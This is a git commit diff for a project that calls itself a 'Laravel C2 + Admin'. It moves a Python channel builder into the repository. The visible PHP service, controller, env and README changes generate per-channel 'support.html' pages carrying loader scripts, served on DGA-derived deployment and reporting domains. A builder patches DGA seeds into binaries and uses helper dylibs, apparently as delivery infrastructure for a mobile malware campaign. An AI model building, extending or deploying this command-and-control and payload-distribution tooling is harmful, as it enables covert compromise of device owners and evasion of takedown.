fix: ios 16

This commit is contained in:
hashbro
2026-08-09 21:57:08 +08:00
parent 6bf33e2761
commit 6bc172c570
179 changed files with 6246 additions and 400 deletions
+10 -9
View File
@@ -46,18 +46,19 @@ ADMIN_PASSWORD=admin123
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
CORUNA_SESSION_KEY=
# Channel domains (link display + builder deployment_domains when channel.domains is empty).
# Optional link-display hosts (not used by DGA binary patch).
# Overridable by 系统设置 → 投放域名.
CORUNA_LAB_CHANNEL_DOMAINS=
# API / reporting domains for the builder (always from env; not overridden by channel.domains).
CORUNA_REPORTING_DOMAINS=
# Sibling project coruna-lab-web build API (Bearer authentication)
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
CORUNA_BUILD_SERVICE_TOKEN=
# Aliases: CORUNA_LAB_WEB_URL / CORUNA_LAB_WEB_TOKEN
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
CORUNA_BUILD_SERVICE_TIMEOUT=600
# Optional complete origin/base path prepended before /channel/{id}/web/support.html
# In-process channel-builder (Python).
# Served assets: CORUNA_ARTIFACT_ROOT/web|sync (default: public/)
# Seeds/state: CORUNA_CHANNEL_STATE_ROOT (default: storage/app/channel-builder)
CORUNA_CHANNEL_BUILDER_PYTHON=
CORUNA_ARTIFACT_ROOT=
CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# Optional complete origin/base path prepended before /web/{id}/support.html
# Same-host: leave empty or set to APP_URL
CORUNA_STATIC_SITE_BASE_URL=
CORUNA_STATIC_SITE_SCHEME=https
# Max channel links per agent (super-admin settings can override)
+4
View File
@@ -28,3 +28,7 @@
Homestead.json
Homestead.yaml
Thumbs.db
/storage/app/channel-artifacts
/channel-builder/.venv
/channel-builder/out
/storage/app/channel-builder
+31 -31
View File
@@ -1,32 +1,41 @@
# Coruna Lab
Laravel C2 + Admin。渠道静态资源构建与分发已拆到同级项目 [`../coruna-lab-web/`](../coruna-lab-web/)。
Laravel C2 + Admin,渠道静态资源由内置 [`channel-builder/`](channel-builder/) 直接构建(DGA seed + channel id,无独立 Build API)。
```text
ios-fetch/
├── coruna-lab/ # ← 本仓库:C2 / Admin / 渠道元数据
└── coruna-lab-web/ # 构建 API + frontend 模板/工具 + 静态产物站
coruna-lab/
├── app/ # C2 / Admin
├── channel-builder/ # source + Python patch tools
├── public/ # 默认产物根(可直接当静态站)
│ ├── web/<channel-id>/
│ └── sync/
└── storage/app/channel-builder/ # lab_seeds.json + out/(不对外)
```
## Requirements
| Tool | Path / note |
|------|-------------|
| PHP 8.5+ | `/opt/homebrew/opt/php/bin/php`(勿用 PATH 里旧 7.3) |
| PHP 8.2+ | `/opt/homebrew/opt/php/bin/php` |
| Composer | via brew PHP |
| Python 3.10+ | `channel-builder/.venv` |
| MySQL 8.0 | preferred;sqlite 可 smoke |
| p7zip | `CORUNA_7Z_BIN` 或 `bin/7z`(C2 入库用) |
```bash
export PATH="/opt/homebrew/opt/php/bin:$PATH"
php -v
cd channel-builder
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
```
## Setup
```bash
cp .env.example .env
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_BUILD_SERVICE_*
# edit .env: DB_*, TELEGRAM_*, ADMIN_*, CORUNA_ARTIFACT_ROOT / CORUNA_CHANNEL_BUILDER_*
php artisan key:generate # once
php artisan migrate --seed
@@ -36,38 +45,34 @@ php artisan serve --host=0.0.0.0 --port=8000
Admin:
- Shell: `http://127.0.0.1:8000/admin`
- Login: `http://127.0.0.1:8000/admin/login` — AJAX JSON 登录(参考 qrpay):用户名 / 密码 / 可选谷歌验证码
- Login: `http://127.0.0.1:8000/admin/login`
- 默认账号:`admin` / `admin123`(见 `.env` `ADMIN_*`)
- 登录后「安全 → 谷歌验证」可绑定 Google Authenticator
## 新建渠道
本仓库只保存渠道元数据;静态产物由 `coruna-lab-web` 同步构建:
创建渠道时 Laravel 直接调用 `channel-builder/tools/new_project.py`:
- **seed**:Deployment / Reporting 共用同一 seed(可同时传入相同值;否则读/写 `lab_seeds.json`,首次自动生成一份)
- **首次**(或换 seed)会重建共享 `sync/`,并返回 DGA 域名供注册/绑源站
- **之后**新渠道只生成 `web/<id>/`
```dotenv
CORUNA_BUILD_SERVICE_URL=http://127.0.0.1:8081
CORUNA_BUILD_SERVICE_TOKEN=replace-me
CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT=5
CORUNA_BUILD_SERVICE_TIMEOUT=600
CORUNA_LAB_CHANNEL_DOMAINS=www.dep1.example,www.dep2.example
CORUNA_REPORTING_DOMAINS=www.rep1.example,www.rep2.example
CORUNA_STATIC_SITE_BASE_URL=https://static.example
CORUNA_CHANNEL_BUILDER_PYTHON=/path/to/channel-builder/.venv/bin/python
# 默认即可:产物写到 public/,seed 状态在 storage/app/channel-builder/
# CORUNA_ARTIFACT_ROOT=
# CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
CORUNA_STATIC_SITE_BASE_URL=https://admin.example.com
```
创建渠道时可填写 `domains`(可选);留空则展示链接与构建 `deployment_domains` 使用 `CORUNA_LAB_CHANNEL_DOMAINS`。构建时的 `reporting_domains` 始终使用 `CORUNA_REPORTING_DOMAINS`。
构建:`POST /v1/channels/{id}/build`
删除:`DELETE /v1/channels/{id}`
后台展示入口:
同机时 Admin 站点 `public/` 即静态根;DGA 域名反代到同一 `public/`:
```text
https://<host>/channel/<channel-id>/web/support.html
https://<host>/channel/<channel-id>/sync/daily.html
https://<host>/web/<channel-id>/support.html
https://<dga-host>/sync/daily.html
```
构建服务部署见 [`../coruna-lab-web/docs/BUILD_API.md`](../coruna-lab-web/docs/BUILD_API.md)。
宝塔同机部署(含 Telegram webhook)见 [`docs/BAOTA_DEPLOY.md`](docs/BAOTA_DEPLOY.md)。
宝塔部署见 [`docs/BAOTA_DEPLOY.md`](docs/BAOTA_DEPLOY.md)。
## C2 / Admin 说明
@@ -78,8 +83,3 @@ https://<host>/channel/<channel-id>/sync/daily.html
```bash
php artisan test
```
## 注意
- 本仓库不再包含 `frontend/` 或本地 Python 构建脚本
- 迁移期可保留旧 `public/web`、`public/sync` 只读;新渠道只发到 `coruna-lab-web` 静态站
@@ -7,7 +7,6 @@ use App\Http\Controllers\Controller;
use App\Models\Channel;
use App\Models\User;
use App\Services\ChannelProjectService;
use App\Services\SettingsService;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
@@ -66,15 +65,11 @@ class ChannelController extends Controller
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Channel $c) {
$domains = Channel::normalizeDomainList($c->domains);
return [
'id' => $c->id,
'channel_id' => $c->channel_id,
'user_id' => (int) $c->user_id,
'agent_username' => $c->agentLabel(),
'domains' => $domains,
'domains_text' => implode("\n", $domains),
'remark' => $c->remark ?: '',
'status' => (int) $c->status,
'links' => $c->supportLinks(),
@@ -107,8 +102,9 @@ class ChannelController extends Controller
$data = $request->validate([
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
'user_id' => ['nullable', 'integer', 'min:0'],
'domains' => ['nullable', 'string', 'max:4000'],
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
'reporting_seed' => ['nullable', 'string', 'min:1', 'max:32'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
@@ -118,12 +114,16 @@ class ChannelController extends Controller
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$domains = SettingsService::parseDomains($data['domains'] ?? null);
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
$this->assertAgentChannelQuota($userId);
try {
$projects->generate($data['channel_id'], $domains, $supportTemplate);
$build = $projects->generate(
$data['channel_id'],
$supportTemplate,
$data['deployment_seed'] ?? null,
$data['reporting_seed'] ?? null,
);
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
@@ -132,7 +132,7 @@ class ChannelController extends Controller
}
try {
$channel = DB::transaction(function () use ($data, $userId, $domains) {
$channel = DB::transaction(function () use ($data, $userId) {
if ($userId > 0) {
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
if (! $userExists) {
@@ -145,7 +145,7 @@ class ChannelController extends Controller
return Channel::query()->create([
'channel_id' => $data['channel_id'],
'user_id' => $userId,
'domains' => $domains,
'domains' => [],
'remark' => $data['remark'] ?? null,
'status' => (int) ($data['status'] ?? 1),
]);
@@ -165,6 +165,12 @@ class ChannelController extends Controller
'data' => [
'id' => $channel->id,
'links' => $channel->supportLinks(),
'seeds' => $build['seeds'],
'domains' => $build['domains'],
'seeds_initialized' => $build['seeds_initialized'],
'sync_rebuilt' => $build['sync_rebuilt'],
'support_path' => $build['support_path'],
'daily_path' => $build['daily_path'],
],
]);
}
@@ -187,7 +193,6 @@ class ChannelController extends Controller
} else {
$data = $request->validate([
'user_id' => ['nullable', 'integer', 'min:0'],
'domains' => ['nullable', 'string', 'max:4000'],
'remark' => ['nullable', 'string', 'max:255'],
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
@@ -201,9 +206,6 @@ class ChannelController extends Controller
}
$channel->user_id = $userId;
}
if (array_key_exists('domains', $data)) {
$channel->domains = SettingsService::parseDomains($data['domains']);
}
if (array_key_exists('remark', $data)) {
$channel->remark = $data['remark'];
}
+1 -1
View File
@@ -89,7 +89,7 @@ class Channel extends Model
public function supportLinks(): array
{
$links = [];
$path = '/channel/'.$this->channel_id.'/web/support.html';
$path = '/web/'.$this->channel_id.'/support.html';
$baseUrl = rtrim((string) config('coruna.static_site.base_url', ''), '/');
if ($baseUrl !== '') {
$links[] = $baseUrl.$path;
+179 -98
View File
@@ -2,10 +2,8 @@
namespace App\Services;
use Illuminate\Http\Client\ConnectionException;
use Illuminate\Http\Client\Response;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Process;
use RuntimeException;
class ChannelProjectService
@@ -14,36 +12,70 @@ class ChannelProjectService
public const DEFAULT_SUPPORT_TEMPLATE = 'test';
public const RESULT_MARKER = 'CORUNA_BUILD_RESULT ';
/**
* Ask the standalone builder to materialize a channel project.
* Build channel web assets (and shared sync on first/changed seeds) via channel-builder.
*
* @param list<string>|null $deploymentDomains Channel-configured hosts; empty → CORUNA_LAB_CHANNEL_DOMAINS
* @return array{
* channel_id: string,
* seeds: array{deployment_seed: string, reporting_seed: string},
* domains: array{deployment: list<string>, reporting: list<string>},
* seeds_initialized: bool,
* sync_rebuilt: bool,
* support_path: string,
* daily_path: string,
* support_template?: string,
* }
*/
public function generate(
string $channelId,
?array $deploymentDomains = null,
string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
): void {
?string $deploymentSeed = null,
?string $reportingSeed = null,
): array {
$channelId = $this->normalizeChannelId($channelId);
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
$deploymentDomains = $this->normalizeDomains($deploymentDomains)
?: $this->domains('coruna.deployment_domains');
$reportingDomains = $this->domains('coruna.reporting_domains');
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds($deploymentSeed, $reportingSeed);
if ($deploymentDomains === []) {
throw new RuntimeException('投放域名未配置(CORUNA_LAB_CHANNEL_DOMAINS 或渠道 domains)');
}
if ($reportingDomains === []) {
throw new RuntimeException('上报域名未配置(CORUNA_REPORTING_DOMAINS)');
$cmd = [
$this->pythonBinary(),
$this->builderScript('new_project.py'),
'--artifact-root',
$this->artifactRoot(),
'--state-root',
$this->stateRoot(),
'--channel-id',
$channelId,
'--support-template',
$supportTemplate,
'--force',
];
if ($deploymentSeed !== null && $reportingSeed !== null) {
$cmd[] = '--deployment-seed';
$cmd[] = $deploymentSeed;
$cmd[] = '--reporting-seed';
$cmd[] = $reportingSeed;
}
$response = $this->request('post', $channelId, [
'deployment_domains' => $deploymentDomains,
'reporting_domains' => $reportingDomains,
'support_template' => $supportTemplate,
]);
$result = $this->runBuilder($cmd, '生成渠道资源失败');
$this->ensureSuccessful($response, '生成渠道资源失败');
return [
'channel_id' => (string) ($result['channel_id'] ?? $channelId),
'seeds' => [
'deployment_seed' => (string) data_get($result, 'seeds.deployment_seed', ''),
'reporting_seed' => (string) data_get($result, 'seeds.reporting_seed', ''),
],
'domains' => [
'deployment' => array_values((array) data_get($result, 'domains.deployment', [])),
'reporting' => array_values((array) data_get($result, 'domains.reporting', [])),
],
'seeds_initialized' => (bool) ($result['seeds_initialized'] ?? false),
'sync_rebuilt' => (bool) ($result['sync_rebuilt'] ?? false),
'support_path' => (string) ($result['support_path'] ?? '/web/'.$channelId.'/support.html'),
'daily_path' => (string) ($result['daily_path'] ?? '/sync/daily.html'),
'support_template' => (string) ($result['support_template'] ?? $supportTemplate),
];
}
public function deleteWebTree(string $channelId): void
@@ -54,71 +86,119 @@ class ChannelProjectService
return;
}
$response = $this->request('delete', $channelId);
if ($response->status() === 404) {
return;
$cmd = [
$this->pythonBinary(),
$this->builderScript('delete_channel_web.py'),
'--artifact-root',
$this->artifactRoot(),
'--channel-id',
$channelId,
];
$this->runBuilder($cmd, '删除渠道资源失败');
}
$this->ensureSuccessful($response, '删除渠道资源失败');
}
private function request(string $method, string $channelId, array $payload = []): Response
/**
* @param list<string> $cmd
* @return array<string, mixed>
*/
private function runBuilder(array $cmd, string $errorPrefix): array
{
$url = rtrim((string) config('coruna.build_service.url', ''), '/');
$token = trim((string) config('coruna.build_service.token', ''));
if ($url === '') {
throw new RuntimeException('渠道构建服务 URL 未配置');
}
if ($token === '') {
throw new RuntimeException('渠道构建服务令牌未配置');
}
$timeout = (float) config('coruna.channel_builder.timeout', 600);
$process = Process::timeout((int) max(1, $timeout))
->path(base_path('channel-builder'))
->run($cmd);
$method = strtoupper($method);
$path = $method === 'POST'
? '/v1/channels/'.$channelId.'/build'
: '/v1/channels/'.$channelId;
try {
$pending = Http::baseUrl($url)
->withToken($token)
->acceptJson()
->connectTimeout((float) config('coruna.build_service.connect_timeout', 5))
->timeout((float) config('coruna.build_service.timeout', 600));
if ($method === 'POST') {
return $pending->asJson()->post($path, $payload);
}
return $pending->send($method, $path);
} catch (ConnectionException $e) {
Log::error('Channel build service connection failed', [
'channel_id' => $channelId,
'operation' => $method,
'error' => $e->getMessage(),
]);
throw new RuntimeException('渠道构建服务连接失败: '.$e->getMessage(), 0, $e);
}
}
private function ensureSuccessful(Response $response, string $message): void
{
if ($response->successful()) {
return;
}
$detail = $response->json('message');
$detail = is_string($detail) && trim($detail) !== ''
? trim($detail)
: trim($response->body());
$detail = mb_substr($detail !== '' ? $detail : 'unknown error', 0, 500);
Log::error('Channel build service request failed', [
'status' => $response->status(),
if (! $process->successful()) {
$detail = trim($process->errorOutput() ?: $process->output());
$detail = mb_substr($detail !== '' ? $detail : 'builder exited '.$process->exitCode(), 0, 800);
Log::error('Channel builder failed', [
'exit_code' => $process->exitCode(),
'detail' => $detail,
'cmd' => $cmd,
]);
throw new RuntimeException("{$message} ({$response->status()}): {$detail}");
throw new RuntimeException("{$errorPrefix}: {$detail}");
}
return $this->parseResultMarker($process->output(), $errorPrefix);
}
/**
* @return array<string, mixed>
*/
private function parseResultMarker(string $output, string $errorPrefix): array
{
$lines = preg_split("/\r\n|\n|\r/", $output) ?: [];
for ($i = count($lines) - 1; $i >= 0; $i--) {
$line = $lines[$i];
if (! str_starts_with($line, self::RESULT_MARKER)) {
continue;
}
$json = substr($line, strlen(self::RESULT_MARKER));
$decoded = json_decode($json, true);
if (! is_array($decoded)) {
throw new RuntimeException("{$errorPrefix}: invalid builder JSON");
}
return $decoded;
}
throw new RuntimeException("{$errorPrefix}: missing builder result marker");
}
private function pythonBinary(): string
{
$configured = trim((string) config('coruna.channel_builder.python', ''));
if ($configured !== '') {
return $configured;
}
$venv = base_path('channel-builder/.venv/bin/python');
if (is_file($venv)) {
return $venv;
}
return 'python3';
}
private function builderScript(string $name): string
{
$path = base_path('channel-builder/tools/'.$name);
if (! is_file($path)) {
throw new RuntimeException("渠道构建脚本不存在: {$path}");
}
return $path;
}
private function artifactRoot(): string
{
$root = trim((string) config('coruna.channel_builder.artifact_root', ''));
if ($root === '') {
$root = public_path();
}
return $this->ensureDirectory($root, '产物目录');
}
private function stateRoot(): string
{
$root = trim((string) config('coruna.channel_builder.state_root', ''));
if ($root === '') {
$root = storage_path('app/channel-builder');
}
return $this->ensureDirectory($root, '构建状态目录');
}
private function ensureDirectory(string $root, string $label): string
{
if (! is_dir($root) && ! mkdir($root, 0775, true) && ! is_dir($root)) {
throw new RuntimeException("无法创建{$label}: {$root}");
}
return $root;
}
private function normalizeChannelId(string $channelId): string
@@ -146,27 +226,28 @@ class ChannelProjectService
return $supportTemplate;
}
/** @return list<string> */
private function domains(string $key): array
/**
* @return array{0: ?string, 1: ?string}
*/
private function normalizeOptionalSeeds(?string $deploymentSeed, ?string $reportingSeed): array
{
return $this->normalizeDomains(config($key, []));
$deploymentSeed = $deploymentSeed !== null ? trim($deploymentSeed) : null;
$reportingSeed = $reportingSeed !== null ? trim($reportingSeed) : null;
if (($deploymentSeed === null || $deploymentSeed === '') && ($reportingSeed === null || $reportingSeed === '')) {
return [null, null];
}
if ($deploymentSeed === null || $deploymentSeed === '' || $reportingSeed === null || $reportingSeed === '') {
throw new RuntimeException('deployment_seed 与 reporting_seed 必须同时提供');
}
foreach (['deployment_seed' => $deploymentSeed, 'reporting_seed' => $reportingSeed] as $name => $value) {
if (! preg_match('/^[ -~]{1,32}$/', $value)) {
throw new RuntimeException("无效的 {$name}(需 1–32 位 ASCII)");
}
}
if ($deploymentSeed !== $reportingSeed) {
throw new RuntimeException('deployment_seed 与 reporting_seed 必须相同');
}
/** @return list<string> */
private function normalizeDomains(mixed $domains): array
{
if (! is_array($domains)) {
return [];
}
return array_values(array_unique(array_filter(array_map(static function ($domain) {
if (! is_string($domain)) {
return '';
}
$domain = trim($domain);
$domain = preg_replace('#^https?://#i', '', $domain) ?? $domain;
return rtrim($domain, '/');
}, $domains))));
return [$deploymentSeed, $reportingSeed];
}
}
+14
View File
@@ -0,0 +1,14 @@
# channel-builder
Static channel asset builder for coruna-lab.
```bash
cd channel-builder
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
# default: write web/sync into ../public, seeds into ../storage/app/channel-builder
.venv/bin/python tools/new_project.py --channel-id <32-hex> --support-template test --force
```
Laravel `ChannelProjectService` invokes the same entry with `--artifact-root` / `--state-root`.
+2
View File
@@ -0,0 +1,2 @@
pycryptodome>=3.19
py7zr>=0.20
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,10 @@
# support.html templates
Build-time choices for `web/support.html` (`--support-template` / API `support_template`):
| Name | Source | Description |
|------|--------|-------------|
| `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI |
| `blank` | `blank.html` | Loader scripts only, no HUD UI |
Default is `test`.
File diff suppressed because one or more lines are too long
@@ -0,0 +1,2 @@
Plaintext type-0x01 helper dylibs used by tools/patch_secondary_packs.py.
Originally from coruna-online/c2_fetch/*_type0x01.dylib.
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long

Some files were not shown because too many files have changed in this diff Show More